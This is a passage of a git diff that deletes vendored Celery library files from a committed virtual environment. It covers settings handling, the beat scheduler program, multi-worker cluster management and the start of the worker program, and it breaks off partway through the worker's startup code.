- - .. seealso: - - :ref:`configuration` for a full list of configuration keys. - - """ - - def __init__(self, *args, deprecated_settings=None, **kwargs): - super().__init__(*args, **kwargs) - - self.deprecated_settings = deprecated_settings - - @property - def broker_read_url(self): - return ( - os.environ.get('CELERY_BROKER_READ_URL') or - self.get('broker_read_url') or - self.broker_url - ) - - @property - def broker_write_url(self): - return ( - os.environ.get('CELERY_BROKER_WRITE_URL') or - self.get('broker_write_url') or - self.broker_url - ) - - @property - def broker_url(self): - return ( - os.environ.get('CELERY_BROKER_URL') or - self.first('broker_url', 'broker_host') - ) - - @property - def result_backend(self): - return ( - os.environ.get('CELERY_RESULT_BACKEND') or - self.first('result_backend', 'CELERY_RESULT_BACKEND') - ) - - @property - def task_default_exchange(self): - return self.first( - 'task_default_exchange', - 'task_default_queue', - ) - - @property - def task_default_routing_key(self): - return self.first( - 'task_default_routing_key', - 'task_default_queue', - ) - - @property - def timezone(self): - # this way we also support django's time zone. - return self.first('timezone', 'TIME_ZONE') - - def without_defaults(self): - """Return the current configuration, but without defaults.""" - # the last stash is the default settings, so just skip that - return Settings({}, self.maps[:-1]) - - def value_set_for(self, key): - return key in self.without_defaults() - - def find_option(self, name, namespace=''): - """Search for option by name. - - Example: - >>> from proj.celery import app - >>> app.conf.find_option('disable_rate_limits') - ('worker', 'prefetch_multiplier', - bool default->False>)) - - Arguments: - name (str): Name of option, cannot be partial. - namespace (str): Preferred name-space (``None`` by default). - Returns: - Tuple: of ``(namespace, key, type)``. - """ - return find(name, namespace) - - def find_value_for_key(self, name, namespace='celery'): - """Shortcut to ``get_by_parts(*find_option(name)[:-1])``.""" - return self.get_by_parts(*self.find_option(name, namespace)[:-1]) - - def get_by_parts(self, *parts): - """Return the current value for setting specified as a path. - - Example: - >>> from proj.celery import app - >>> app.conf.get_by_parts('worker', 'disable_rate_limits') - False - """ - return self['_'.join(part for part in parts if part)] - - def finalize(self): - # See PendingConfiguration in celery/app/base.py - # first access will read actual configuration. - try: - self['__bogus__'] - except KeyError: - pass - return self - - def table(self, with_defaults=False, censored=True): - filt = filter_hidden_settings if censored else lambda v: v - dict_members = dir(dict) - self.finalize() - settings = self if with_defaults else self.without_defaults() - return filt({ - k: v for k, v in settings.items() - if not k.startswith('_') and k not in dict_members - }) - - def humanize(self, with_defaults=False, censored=True): - """Return a human readable text showing configuration changes.""" - return '\n'.join( - f'{key}: {pretty(value, width=50)}' - for key, value in self.table(with_defaults, censored).items()) - - def maybe_warn_deprecated_settings(self): - # TODO: Remove this method in Celery 6.0 - if self.deprecated_settings: - from celery.app.defaults import _TO_NEW_KEY - from celery.utils import deprecated - for setting in self.deprecated_settings: - deprecated.warn(description=f'The {setting!r} setting', - removal='6.0.0', - alternative=f'Use the {_TO_NEW_KEY[setting]} instead') - - return True - - return False - - -def _new_key_to_old(key, convert=_TO_OLD_KEY.get): - return convert(key, key) - - -def _old_key_to_new(key, convert=_TO_NEW_KEY.get): - return convert(key, key) - - -_settings_info_t = namedtuple('settings_info_t', ( - 'defaults', 'convert', 'key_t', 'mix_error', -)) - -_settings_info = _settings_info_t( - DEFAULTS, _TO_NEW_KEY, _old_key_to_new, E_MIX_OLD_INTO_NEW, -) -_old_settings_info = _settings_info_t( - _OLD_DEFAULTS, _TO_OLD_KEY, _new_key_to_old, E_MIX_NEW_INTO_OLD, -) - - -def detect_settings(conf, preconf=None, ignore_keys=None, prefix=None, - all_keys=None, old_keys=None): - preconf = {} if not preconf else preconf - ignore_keys = set() if not ignore_keys else ignore_keys - all_keys = SETTING_KEYS if not all_keys else all_keys - old_keys = _OLD_SETTING_KEYS if not old_keys else old_keys - - source = conf - if conf is None: - source, conf = preconf, {} - have = set(source.keys()) - ignore_keys - is_in_new = have.intersection(all_keys) - is_in_old = have.intersection(old_keys) - - info = None - if is_in_new: - # have new setting names - info, left = _settings_info, is_in_old - if is_in_old and len(is_in_old) > len(is_in_new): - # Majority of the settings are old. - info, left = _old_settings_info, is_in_new - if is_in_old: - # have old setting names, or a majority of the names are old. - if not info: - info, left = _old_settings_info, is_in_new - if is_in_new and len(is_in_new) > len(is_in_old): - # Majority of the settings are new - info, left = _settings_info, is_in_old - else: - # no settings, just use new format. - info, left = _settings_info, is_in_old - - if prefix: - # always use new format if prefix is used. - info, left = _settings_info, set() - - # only raise error for keys that the user didn't provide two keys - # for (e.g., both ``result_expires`` and ``CELERY_TASK_RESULT_EXPIRES``). - really_left = {key for key in left if info.convert[key] not in have} - if really_left: - # user is mixing old/new, or new/old settings, give renaming - # suggestions. - raise ImproperlyConfigured(info.mix_error.format(renames='\n'.join( - FMT_REPLACE_SETTING.format(replace=key, with_=info.convert[key]) - for key in sorted(really_left) - ))) - - preconf = {info.convert.get(k, k): v for k, v in preconf.items()} - defaults = dict(deepcopy(info.defaults), **preconf) - return Settings( - preconf, [conf, defaults], - (_old_key_to_new, _new_key_to_old), - deprecated_settings=is_in_old, - prefix=prefix, - ) - - -class AppPickler: - """Old application pickler/unpickler (< 3.1).""" - - def __call__(self, cls, *args): - kwargs = self.build_kwargs(*args) - app = self.construct(cls, **kwargs) - self.prepare(app, **kwargs) - return app - - def prepare(self, app, **kwargs): - app.conf.update(kwargs['changes']) - - def build_kwargs(self, *args): - return self.build_standard_kwargs(*args) - - def build_standard_kwargs(self, main, changes, loader, backend, amqp, - events, log, control, accept_magic_kwargs, - config_source=None): - return {'main': main, 'loader': loader, 'backend': backend, - 'amqp': amqp, 'changes': changes, 'events': events, - 'log': log, 'control': control, 'set_as_current': False, - 'config_source': config_source} - - def construct(self, cls, **kwargs): - return cls(**kwargs) - - -def _unpickle_app(cls, pickler, *args): - """Rebuild app for versions 2.5+.""" - return pickler()(cls, *args) - - -def _unpickle_app_v2(cls, kwargs): - """Rebuild app for versions 3.1+.""" - kwargs['set_as_current'] = False - return cls(**kwargs) - - -def filter_hidden_settings(conf): - """Filter sensitive settings.""" - def maybe_censor(key, value, mask='*' * 8): - if isinstance(value, Mapping): - return filter_hidden_settings(value) - if isinstance(key, str): - if HIDDEN_SETTINGS.search(key): - return mask - elif 'broker_url' in key.lower(): - from kombu import Connection - return Connection(value).as_uri(mask=mask) - elif 'backend' in key.lower(): - return maybe_sanitize_url(value, mask=mask) - - return value - - return {k: maybe_censor(k, v) for k, v in conf.items()} - - -def bugreport(app): - """Return a string containing information useful in bug-reports.""" - import billiard - import kombu - - import celery - - try: - conn = app.connection() - driver_v = '{}:{}'.format(conn.transport.driver_name, - conn.transport.driver_version()) - transport = conn.transport_cls - except Exception: # pylint: disable=broad-except - transport = driver_v = '' - - return BUGREPORT_INFO.format( - system=_platform.system(), - arch=', '.join(x for x in _platform.architecture() if x), - kernel_version=_platform.release(), - py_i=pyimplementation(), - celery_v=celery.VERSION_BANNER, - kombu_v=kombu.__version__, - billiard_v=billiard.__version__, - py_v=_platform.python_version(), - driver_v=driver_v, - transport=transport, - results=maybe_sanitize_url(app.conf.result_backend or 'disabled'), - human_settings=app.conf.humanize(), - loader=qualname(app.loader.__class__), - ) - - -def find_app(app, symbol_by_name=symbol_by_name, imp=import_from_cwd): - """Find app by name.""" - from .base import Celery - - try: - sym = symbol_by_name(app, imp=imp) - except AttributeError: - # last part was not an attribute, but a module - sym = imp(app) - if isinstance(sym, ModuleType) and ':' not in app: - try: - found = sym.app - if isinstance(found, ModuleType): - raise AttributeError() - except AttributeError: - try: - found = sym.celery - if isinstance(found, ModuleType): - raise AttributeError( - "attribute 'celery' is the celery module not the instance of celery") - except AttributeError: - if getattr(sym, '__path__', None): - try: - return find_app( - f'{app}.celery', - symbol_by_name=symbol_by_name, imp=imp, - ) - except ImportError: - pass - for suspect in vars(sym).values(): - if isinstance(suspect, Celery): - return suspect - raise - else: - return found - else: - return found - return sym diff --git a/venv/Lib/site-packages/celery/apps/__init__.py b/venv/Lib/site-packages/celery/apps/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/celery/apps/beat.py b/venv/Lib/site-packages/celery/apps/beat.py deleted file mode 100644 index 7258ac8555bdc30203fcc4289fca1d4341f75196..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/apps/beat.py +++ /dev/null @@ -1,160 +0,0 @@ -"""Beat command-line program. - -This module is the 'program-version' of :mod:`celery.beat`. - -It does everything necessary to run that module -as an actual application, like installing signal handlers -and so on. -""" -from __future__ import annotations - -import numbers -import socket -import sys -from datetime import datetime -from signal import Signals -from types import FrameType -from typing import Any - -from celery import VERSION_BANNER, Celery, beat, platforms -from celery.utils.imports import qualname -from celery.utils.log import LOG_LEVELS, get_logger -from celery.utils.time import humanize_seconds - -__all__ = ('Beat',) - -STARTUP_INFO_FMT = """ -LocalTime -> {timestamp} -Configuration -> - . broker -> {conninfo} - . loader -> {loader} - . scheduler -> {scheduler} -{scheduler_info} - . logfile -> {logfile}@%{loglevel} - . maxinterval -> {hmax_interval} ({max_interval}s) -""".strip() - -logger = get_logger('celery.beat') - - -class Beat: - """Beat as a service.""" - - Service = beat.Service - app: Celery = None - - def __init__(self, max_interval: int | None = None, app: Celery | None = None, - socket_timeout: int = 30, pidfile: str | None = None, no_color: bool | None = None, - loglevel: str = 'WARN', logfile: str | None = None, schedule: str | None = None, - scheduler: str | None = None, - scheduler_cls: str | None = None, # XXX use scheduler - redirect_stdouts: bool | None = None, - redirect_stdouts_level: str | None = None, - quiet: bool = False, **kwargs: Any) -> None: - self.app = app = app or self.app - either = self.app.either - self.loglevel = loglevel - self.logfile = logfile - self.schedule = either('beat_schedule_filename', schedule) - self.scheduler_cls = either( - 'beat_scheduler', scheduler, scheduler_cls) - self.redirect_stdouts = either( - 'worker_redirect_stdouts', redirect_stdouts) - self.redirect_stdouts_level = either( - 'worker_redirect_stdouts_level', redirect_stdouts_level) - self.quiet = quiet - - self.max_interval = max_interval - self.socket_timeout = socket_timeout - self.no_color = no_color - self.colored = app.log.colored( - self.logfile, - enabled=not no_color if no_color is not None else no_color, - ) - self.pidfile = pidfile - if not isinstance(self.loglevel, numbers.Integral): - self.loglevel = LOG_LEVELS[self.loglevel.upper()] - - def run(self) -> None: - if not self.quiet: - print(str(self.colored.cyan( - f'celery beat v{VERSION_BANNER} is starting.'))) - self.init_loader() - self.set_process_title() - self.start_scheduler() - - def setup_logging(self, colorize: bool | None = None) -> None: - if colorize is None and self.no_color is not None: - colorize = not self.no_color - self.app.log.setup(self.loglevel, self.logfile, - self.redirect_stdouts, self.redirect_stdouts_level, - colorize=colorize) - - def start_scheduler(self) -> None: - if self.pidfile: - platforms.create_pidlock(self.pidfile) - service = self.Service( - app=self.app, - max_interval=self.max_interval, - scheduler_cls=self.scheduler_cls, - schedule_filename=self.schedule, - ) - - if not self.quiet: - print(self.banner(service)) - - self.setup_logging() - if self.socket_timeout: - logger.debug('Setting default socket timeout to %r', - self.socket_timeout) - socket.setdefaulttimeout(self.socket_timeout) - try: - self.install_sync_handler(service) - service.start() - except Exception as exc: - logger.critical('beat raised exception %s: %r', - exc.__class__, exc, - exc_info=True) - raise - - def banner(self, service: beat.Service) -> str: - c = self.colored - return str( - c.blue('__ ', c.magenta('-'), - c.blue(' ... __ '), c.magenta('-'), - c.blue(' _\n'), - c.reset(self.startup_info(service))), - ) - - def init_loader(self) -> None: - # Run the worker init handler. - # (Usually imports task modules and such.) - self.app.loader.init_worker() - self.app.finalize() - - def startup_info(self, service: beat.Service) -> str: - scheduler = service.get_scheduler(lazy=True) - return STARTUP_INFO_FMT.format( - conninfo=self.app.connection().as_uri(), - timestamp=datetime.now().replace(microsecond=0), - logfile=self.logfile or '[stderr]', - loglevel=LOG_LEVELS[self.loglevel], - loader=qualname(self.app.loader), - scheduler=qualname(scheduler), - scheduler_info=scheduler.info, - hmax_interval=humanize_seconds(scheduler.max_interval), - max_interval=scheduler.max_interval, - ) - - def set_process_title(self) -> None: - arg_start = 'manage' in sys.argv[0] and 2 or 1 - platforms.set_process_title( - 'celery beat', info=' '.join(sys.argv[arg_start:]), - ) - - def install_sync_handler(self, service: beat.Service) -> None: - """Install a `SIGTERM` + `SIGINT` handler saving the schedule.""" - def _sync(signum: Signals, frame: FrameType) -> None: - service.sync() - raise SystemExit() - platforms.signals.update(SIGTERM=_sync, SIGINT=_sync) diff --git a/venv/Lib/site-packages/celery/apps/multi.py b/venv/Lib/site-packages/celery/apps/multi.py deleted file mode 100644 index 1fe600422510bbda50e2dd6cdab5c14b4dfbb1e7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/apps/multi.py +++ /dev/null @@ -1,506 +0,0 @@ -"""Start/stop/manage workers.""" -import errno -import os -import shlex -import signal -import sys -from collections import OrderedDict, UserList, defaultdict -from functools import partial -from subprocess import Popen -from time import sleep - -from kombu.utils.encoding import from_utf8 -from kombu.utils.objects import cached_property - -from celery.platforms import IS_WINDOWS, Pidfile, signal_name -from celery.utils.nodenames import gethostname, host_format, node_format, nodesplit -from celery.utils.saferepr import saferepr - -__all__ = ('Cluster', 'Node') - -CELERY_EXE = 'celery' - - -def celery_exe(*args): - return ' '.join((CELERY_EXE,) + args) - - -def build_nodename(name, prefix, suffix): - hostname = suffix - if '@' in name: - nodename = host_format(name) - shortname, hostname = nodesplit(nodename) - name = shortname - else: - shortname = f'{prefix}{name}' - nodename = host_format( - f'{shortname}@{hostname}', - ) - return name, nodename, hostname - - -def build_expander(nodename, shortname, hostname): - return partial( - node_format, - name=nodename, - N=shortname, - d=hostname, - h=nodename, - i='%i', - I='%I', - ) - - -def format_opt(opt, value): - if not value: - return opt - if opt.startswith('--'): - return f'{opt}={value}' - return f'{opt} {value}' - - -def _kwargs_to_command_line(kwargs): - return { - ('--{}'.format(k.replace('_', '-')) - if len(k) > 1 else f'-{k}'): f'{v}' - for k, v in kwargs.items() - } - - -class NamespacedOptionParser: - - def __init__(self, args): - self.args = args - self.options = OrderedDict() - self.values = [] - self.passthrough = '' - self.namespaces = defaultdict(lambda: OrderedDict()) - - def parse(self): - rargs = [arg for arg in self.args if arg] - pos = 0 - while pos < len(rargs): - arg = rargs[pos] - if arg == '--': - self.passthrough = ' '.join(rargs[pos:]) - break - elif arg[0] == '-': - if arg[1] == '-': - self.process_long_opt(arg[2:]) - else: - value = None - if len(rargs) > pos + 1 and rargs[pos + 1][0] != '-': - value = rargs[pos + 1] - pos += 1 - self.process_short_opt(arg[1:], value) - else: - self.values.append(arg) - pos += 1 - - def process_long_opt(self, arg, value=None): - if '=' in arg: - arg, value = arg.split('=', 1) - self.add_option(arg, value, short=False) - - def process_short_opt(self, arg, value=None): - self.add_option(arg, value, short=True) - - def optmerge(self, ns, defaults=None): - if defaults is None: - defaults = self.options - return OrderedDict(defaults, **self.namespaces[ns]) - - def add_option(self, name, value, short=False, ns=None): - prefix = short and '-' or '--' - dest = self.options - if ':' in name: - name, ns = name.split(':') - dest = self.namespaces[ns] - dest[prefix + name] = value - - -class Node: - """Represents a node in a cluster.""" - - def __init__(self, name, - cmd=None, append=None, options=None, extra_args=None): - self.name = name - self.cmd = cmd or f"-m {celery_exe('worker', '--detach')}" - self.append = append - self.extra_args = extra_args or '' - self.options = self._annotate_with_default_opts( - options or OrderedDict()) - self.expander = self._prepare_expander() - self.argv = self._prepare_argv() - self._pid = None - - def _annotate_with_default_opts(self, options): - options['-n'] = self.name - self._setdefaultopt(options, ['--pidfile', '-p'], '/var/run/celery/%n.pid') - self._setdefaultopt(options, ['--logfile', '-f'], '/var/log/celery/%n%I.log') - self._setdefaultopt(options, ['--executable'], sys.executable) - return options - - def _setdefaultopt(self, d, alt, value): - for opt in alt[1:]: - try: - return d[opt] - except KeyError: - pass - value = d.setdefault(alt[0], os.path.normpath(value)) - dir_path = os.path.dirname(value) - if dir_path and not os.path.exists(dir_path): - os.makedirs(dir_path) - return value - - def _prepare_expander(self): - shortname, hostname = self.name.split('@', 1) - return build_expander( - self.name, shortname, hostname) - - def _prepare_argv(self): - cmd = self.expander(self.cmd).split(' ') - i = cmd.index('celery') + 1 - - options = self.options.copy() - for opt, value in self.options.items(): - if opt in ( - '-A', '--app', - '-b', '--broker', - '--result-backend', - '--loader', - '--config', - '--workdir', - '-C', '--no-color', - '-q', '--quiet', - ): - cmd.insert(i, format_opt(opt, self.expander(value))) - - options.pop(opt) - - cmd = [' '.join(cmd)] - argv = tuple( - cmd + - [format_opt(opt, self.expander(value)) - for opt, value in options.items()] + - [self.extra_args] - ) - if self.append: - argv += (self.expander(self.append),) - return argv - - def alive(self): - return self.send(0) - - def send(self, sig, on_error=None): - pid = self.pid - if pid: - try: - os.kill(pid, sig) - except OSError as exc: - if exc.errno != errno.ESRCH: - raise - maybe_call(on_error, self) - return False - return True - maybe_call(on_error, self) - - def start(self, env=None, **kwargs): - return self._waitexec( - self.argv, path=self.executable, env=env, **kwargs) - - def _waitexec(self, argv, path=sys.executable, env=None, - on_spawn=None, on_signalled=None, on_failure=None): - argstr = self.prepare_argv(argv, path) - maybe_call(on_spawn, self, argstr=' '.join(argstr), env=env) - pipe = Popen(argstr, env=env) - return self.handle_process_exit( - pipe.wait(), - on_signalled=on_signalled, - on_failure=on_failure, - ) - - def handle_process_exit(self, retcode, on_signalled=None, on_failure=None): - if retcode < 0: - maybe_call(on_signalled, self, -retcode) - return -retcode - elif retcode > 0: - maybe_call(on_failure, self, retcode) - return retcode - - def prepare_argv(self, argv, path): - args = ' '.join([path] + list(argv)) - return shlex.split(from_utf8(args), posix=not IS_WINDOWS) - - def getopt(self, *alt): - for opt in alt: - try: - return self.options[opt] - except KeyError: - pass - raise KeyError(alt[0]) - - def __repr__(self): - return f'<{type(self).__name__}: {self.name}>' - - @cached_property - def pidfile(self): - return self.expander(self.getopt('--pidfile', '-p')) - - @cached_property - def logfile(self): - return self.expander(self.getopt('--logfile', '-f')) - - @property - def pid(self): - if self._pid is not None: - return self._pid - try: - return Pidfile(self.pidfile).read_pid() - except ValueError: - pass - - @pid.setter - def pid(self, value): - self._pid = value - - @cached_property - def executable(self): - return self.options['--executable'] - - @cached_property - def argv_with_executable(self): - return (self.executable,) + self.argv - - @classmethod - def from_kwargs(cls, name, **kwargs): - return cls(name, options=_kwargs_to_command_line(kwargs)) - - -def maybe_call(fun, *args, **kwargs): - if fun is not None: - fun(*args, **kwargs) - - -class MultiParser: - Node = Node - - def __init__(self, cmd='celery worker', - append='', prefix='', suffix='', - range_prefix='celery'): - self.cmd = cmd - self.append = append - self.prefix = prefix - self.suffix = suffix - self.range_prefix = range_prefix - - def parse(self, p): - names = p.values - options = dict(p.options) - ranges = len(names) == 1 - prefix = self.prefix - cmd = options.pop('--cmd', self.cmd) - append = options.pop('--append', self.append) - hostname = options.pop('--hostname', options.pop('-n', gethostname())) - prefix = options.pop('--prefix', prefix) or '' - suffix = options.pop('--suffix', self.suffix) or hostname - suffix = '' if suffix in ('""', "''") else suffix - range_prefix = options.pop('--range-prefix', '') or self.range_prefix - if ranges: - try: - names, prefix = self._get_ranges(names), range_prefix - except ValueError: - pass - self._update_ns_opts(p, names) - self._update_ns_ranges(p, ranges) - - return ( - self._node_from_options( - p, name, prefix, suffix, cmd, append, options) - for name in names - ) - - def _node_from_options(self, p, name, prefix, - suffix, cmd, append, options): - namespace, nodename, _ = build_nodename(name, prefix, suffix) - namespace = nodename if nodename in p.namespaces else namespace - return Node(nodename, cmd, append, - p.optmerge(namespace, options), p.passthrough) - - def _get_ranges(self, names): - noderange = int(names[0]) - return [str(n) for n in range(1, noderange + 1)] - - def _update_ns_opts(self, p, names): - # Numbers in args always refers to the index in the list of names. - # (e.g., `start foo bar baz -c:1` where 1 is foo, 2 is bar, and so on). - for ns_name, ns_opts in list(p.namespaces.items()): - if ns_name.isdigit(): - ns_index = int(ns_name) - 1 - if ns_index < 0: - raise KeyError(f'Indexes start at 1 got: {ns_name!r}') - try: - p.namespaces[names[ns_index]].update(ns_opts) - except IndexError: - raise KeyError(f'No node at index {ns_name!r}') - - def _update_ns_ranges(self, p, ranges): - for ns_name, ns_opts in list(p.namespaces.items()): - if ',' in ns_name or (ranges and '-' in ns_name): - for subns in self._parse_ns_range(ns_name, ranges): - p.namespaces[subns].update(ns_opts) - p.namespaces.pop(ns_name) - - def _parse_ns_range(self, ns, ranges=False): - ret = [] - for space in ',' in ns and ns.split(',') or [ns]: - if ranges and '-' in space: - start, stop = space.split('-') - ret.extend( - str(n) for n in range(int(start), int(stop) + 1) - ) - else: - ret.append(space) - return ret - - -class Cluster(UserList): - """Represent a cluster of workers.""" - - def __init__(self, nodes, cmd=None, env=None, - on_stopping_preamble=None, - on_send_signal=None, - on_still_waiting_for=None, - on_still_waiting_progress=None, - on_still_waiting_end=None, - on_node_start=None, - on_node_restart=None, - on_node_shutdown_ok=None, - on_node_status=None, - on_node_signal=None, - on_node_signal_dead=None, - on_node_down=None, - on_child_spawn=None, - on_child_signalled=None, - on_child_failure=None): - self.nodes = nodes - self.cmd = cmd or celery_exe('worker') - self.env = env - - self.on_stopping_preamble = on_stopping_preamble - self.on_send_signal = on_send_signal - self.on_still_waiting_for = on_still_waiting_for - self.on_still_waiting_progress = on_still_waiting_progress - self.on_still_waiting_end = on_still_waiting_end - self.on_node_start = on_node_start - self.on_node_restart = on_node_restart - self.on_node_shutdown_ok = on_node_shutdown_ok - self.on_node_status = on_node_status - self.on_node_signal = on_node_signal - self.on_node_signal_dead = on_node_signal_dead - self.on_node_down = on_node_down - self.on_child_spawn = on_child_spawn - self.on_child_signalled = on_child_signalled - self.on_child_failure = on_child_failure - - def start(self): - return [self.start_node(node) for node in self] - - def start_node(self, node): - maybe_call(self.on_node_start, node) - retcode = self._start_node(node) - maybe_call(self.on_node_status, node, retcode) - return retcode - - def _start_node(self, node): - return node.start( - self.env, - on_spawn=self.on_child_spawn, - on_signalled=self.on_child_signalled, - on_failure=self.on_child_failure, - ) - - def send_all(self, sig): - for node in self.getpids(on_down=self.on_node_down): - maybe_call(self.on_node_signal, node, signal_name(sig)) - node.send(sig, self.on_node_signal_dead) - - def kill(self): - return self.send_all(signal.SIGKILL) - - def restart(self, sig=signal.SIGTERM): - retvals = [] - - def restart_on_down(node): - maybe_call(self.on_node_restart, node) - retval = self._start_node(node) - maybe_call(self.on_node_status, node, retval) - retvals.append(retval) - - self._stop_nodes(retry=2, on_down=restart_on_down, sig=sig) - return retvals - - def stop(self, retry=None, callback=None, sig=signal.SIGTERM): - return self._stop_nodes(retry=retry, on_down=callback, sig=sig) - - def stopwait(self, retry=2, callback=None, sig=signal.SIGTERM): - return self._stop_nodes(retry=retry, on_down=callback, sig=sig) - - def _stop_nodes(self, retry=None, on_down=None, sig=signal.SIGTERM): - on_down = on_down if on_down is not None else self.on_node_down - nodes = list(self.getpids(on_down=on_down)) - if nodes: - for node in self.shutdown_nodes(nodes, sig=sig, retry=retry): - maybe_call(on_down, node) - - def shutdown_nodes(self, nodes, sig=signal.SIGTERM, retry=None): - P = set(nodes) - maybe_call(self.on_stopping_preamble, nodes) - to_remove = set() - for node in P: - maybe_call(self.on_send_signal, node, signal_name(sig)) - if not node.send(sig, self.on_node_signal_dead): - to_remove.add(node) - yield node - P -= to_remove - if retry: - maybe_call(self.on_still_waiting_for, P) - its = 0 - while P: - to_remove = set() - for node in P: - its += 1 - maybe_call(self.on_still_waiting_progress, P) - if not node.alive(): - maybe_call(self.on_node_shutdown_ok, node) - to_remove.add(node) - yield node - maybe_call(self.on_still_waiting_for, P) - break - P -= to_remove - if P and not its % len(P): - sleep(float(retry)) - maybe_call(self.on_still_waiting_end) - - def find(self, name): - for node in self: - if node.name == name: - return node - raise KeyError(name) - - def getpids(self, on_down=None): - for node in self: - if node.pid: - yield node - else: - maybe_call(on_down, node) - - def __repr__(self): - return '<{name}({0}): {1}>'.format( - len(self), saferepr([n.name for n in self]), - name=type(self).__name__, - ) - - @property - def data(self): - return self.nodes diff --git a/venv/Lib/site-packages/celery/apps/worker.py b/venv/Lib/site-packages/celery/apps/worker.py deleted file mode 100644 index 0a49a878909320f6b0cf33c923aeafc08d88afb7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/apps/worker.py +++ /dev/null @@ -1,523 +0,0 @@ -"""Worker command-line program. - -This module is the 'program-version' of :mod:`celery.worker`. - -It does everything necessary to run that module -as an actual application, like installing signal handlers, -platform tweaks, and so on. -""" -import logging -import os -import platform as _platform -import sys -from datetime import datetime -from functools import partial - -from billiard.common import REMAP_SIGTERM -from billiard.process import current_process -from kombu.utils.encoding import safe_str - -from celery import VERSION_BANNER, _original_os_write, platforms, signals -from celery.app import trace -from celery.loaders.app import AppLoader -from celery.platforms import EX_FAILURE, EX_OK, check_privileges, isatty -from celery.utils import static, term -from celery.utils.debug import cry -from celery.utils.imports import qualname -from celery.utils.log import get_logger, in_sighandler, set_in_sighandler -from celery.utils.text import pluralize -from celery.worker import WorkController - -__all__ = ('Worker',) - -logger = get_logger(__name__) -is_jython = sys.platform.startswith('java') -is_pypy = hasattr(sys, 'pypy_version_info') - -ARTLINES = [ - ' --------------', - '--- ***** -----', - '-- ******* ----', - '- *** --- * ---', - '- ** ----------', - '- ** ----------', - '- ** ----------', - '- ** ----------', - '- *** --- * ---', - '-- ******* ----', - '--- ***** -----', - ' --------------', -] - -BANNER = """\ -{hostname} v{version} - -{platform} {timestamp} - -[config] -.> app: {app} -.> transport: {conninfo} -.> results: {results} -.> concurrency: {concurrency} -.> task events: {events} - -[queues] -{queues} -""" - -EXTRA_INFO_FMT = """ -[tasks] -{tasks} -""" - - -def active_thread_count(): - from threading import enumerate - return sum(1 for t in enumerate() - if not t.name.startswith('Dummy-')) - - -def safe_say(msg, f=sys.__stderr__): - """ - Uses the original (unpatched) os.write to avoid issues with eventlet/gevent - monkey-patching. When using eventlet>=0.37.0, the patched os.write calls - hubs.trampoline() which raises RuntimeError if called from within the - hub's event loop (e.g., during signal handling). - """ - if hasattr(f, 'fileno') and f.fileno() is not None: - _original_os_write(f.fileno(), f'\n{msg}\n'.encode()) - - -class Worker(WorkController): - """Worker as a program.""" - - def on_before_init(self, quiet=False, **kwargs): - self.quiet = quiet - trace.setup_worker_optimizations(self.app, self.hostname) - - # this signal can be used to set up configuration for - # workers by name. - signals.celeryd_init.send( - sender=self.hostname, instance=self, - conf=self.app.conf, options=kwargs, - ) - check_privileges(self.app.conf.accept_content) - - def on_after_init(self, purge=False, no_color=None, - redirect_stdouts=None, redirect_stdouts_level=None, - **kwargs): - self.redirect_stdouts = self.app.either( - 'worker_redirect_stdouts', redirect_stdouts) - self.redirect_stdouts_level = self.app.either( - 'worker_redirect_stdouts_level', redirect_stdouts_level) - super().setup_defaults(**kwargs) - self.purge = purge - self.no_color = no_color - self._isatty = isatty(sys.stdout) - self.colored = self.app.log.colored( - self.logfile, - enabled=not no_color if no_color is not None else no_color - ) - - def on_init_blueprint(self): - self._custom_logging = self.setup_logging() - # apply task execution optimizations - # -- This will finalize the app! - trace.setup_worker_optimizations(self.app, self.hostname) - - def on_start(self): - app = self.app - super().on_start() - - # this signal can be used to, for example, change queues after - # the -Q option has been applied. - signals.celeryd_after_setup.send( - sender=self.hostname, instance=self, conf=app.conf, - ) - - if self.purge: - self.purge_messages() - - if not self.quiet: - self.emit_banner() - - self.set_process_status('-active-') - self.install_platform_tweaks(self) - if not self._custom_logging and self.redirect_stdouts: - app.log.redirect_stdouts(self.redirect_stdouts_level) - - # TODO: Remove the following code in Celery 6.0 - # This qualifies as a hack for issue #6366. - warn_deprecated = True - config_source = app._config_source - if isinstance(config_source, str): - # Don't raise the warning when the settings originate from - # django.conf:settings - warn_deprecated = config_source.lower() not in [ - 'django.conf:settings', - ] - - if warn_deprecated: - if app.conf.maybe_warn_deprecated_settings(): - logger.warning( - "Please run `celery upgrade settings path/to/settings.py` " - "to avoid these warnings and to allow a smoother upgrade " - "to Celery 6.0." - ) - - def emit_banner(self): - # Dump configuration to screen so we have some basic information - # for when users sends bug reports. - use_image = term.supports_images() - if use_image: - print(term.imgcat(static.logo())) - print(safe_str(''.join([ - str(self.colored.cyan( - ' \n', self.startup_info(artlines=not use_image))), - str(self.colored.reset(self.extra_info() or '')), - ])), file=sys.__stdout__, flush=True) - - def on_consumer_ready(self, consumer): - signals.worker_ready.send(sender=consumer) - logger.info('%s ready.', safe_str(self.hostname)) - - def setup_logging(self, colorize=None): - if colorize is None and self.no_color is not None: - colorize = not self.no_color - return self.app.log.setup( - self.loglevel, self.logfile, - redirect_stdouts=False, colorize=colorize, hostname=self.hostname, - ) - - def purge_messages(self): - with self.app.connection_for_write() as connection: - count = self.app.control.purge(connection=connection) - if count: # pragma: no cover - print(f"purge: Erased {count} {pluralize(count, 'message')} from the queue.\n", flush=True) - - def tasklist(self, include_builtins=True, sep='\n', int_='celery.'): - return sep.join( - f' . {task}' for task in sorted(self.app.tasks) - if (not task.startswith(int_) if not include_builtins else task) - ) - - def extra_info(self): - if self.loglevel is None: - return - if self.loglevel <= logging.INFO: - include_builtins = self.loglevel <= logging.DEBUG - tasklist = self.tasklist(include_builtins=include_builtins) - return EXTRA_INFO_FMT.format(tasks=tasklist) - - def startup_info(self, artlines=True): - app = self.app - concurrency = str(self.concurrency) - appr = '{}:{:#x}'.format(app.main or '__main__', id(app)) - if not isinstance(app.loader, AppLoader): - loader = qualname(app.loader) - if loader.startswith('celery.loaders'): # pragma: no cover - loader = loader[14:] - appr += f' ({loader})' - if self.autoscale: - max, min = self.autoscale - concurrency = f'{{min={min}, max={max}}}' - pool = self.pool_cls - if not isinstance(pool, str): - pool = pool.__module__ - concurrency += f" ({pool.split('.')[-1]})" - events = 'ON' - if not self.task_events: - events = 'OFF (enable -E to monitor tasks in this worker)' - - banner = BANNER.format( - app=appr, - 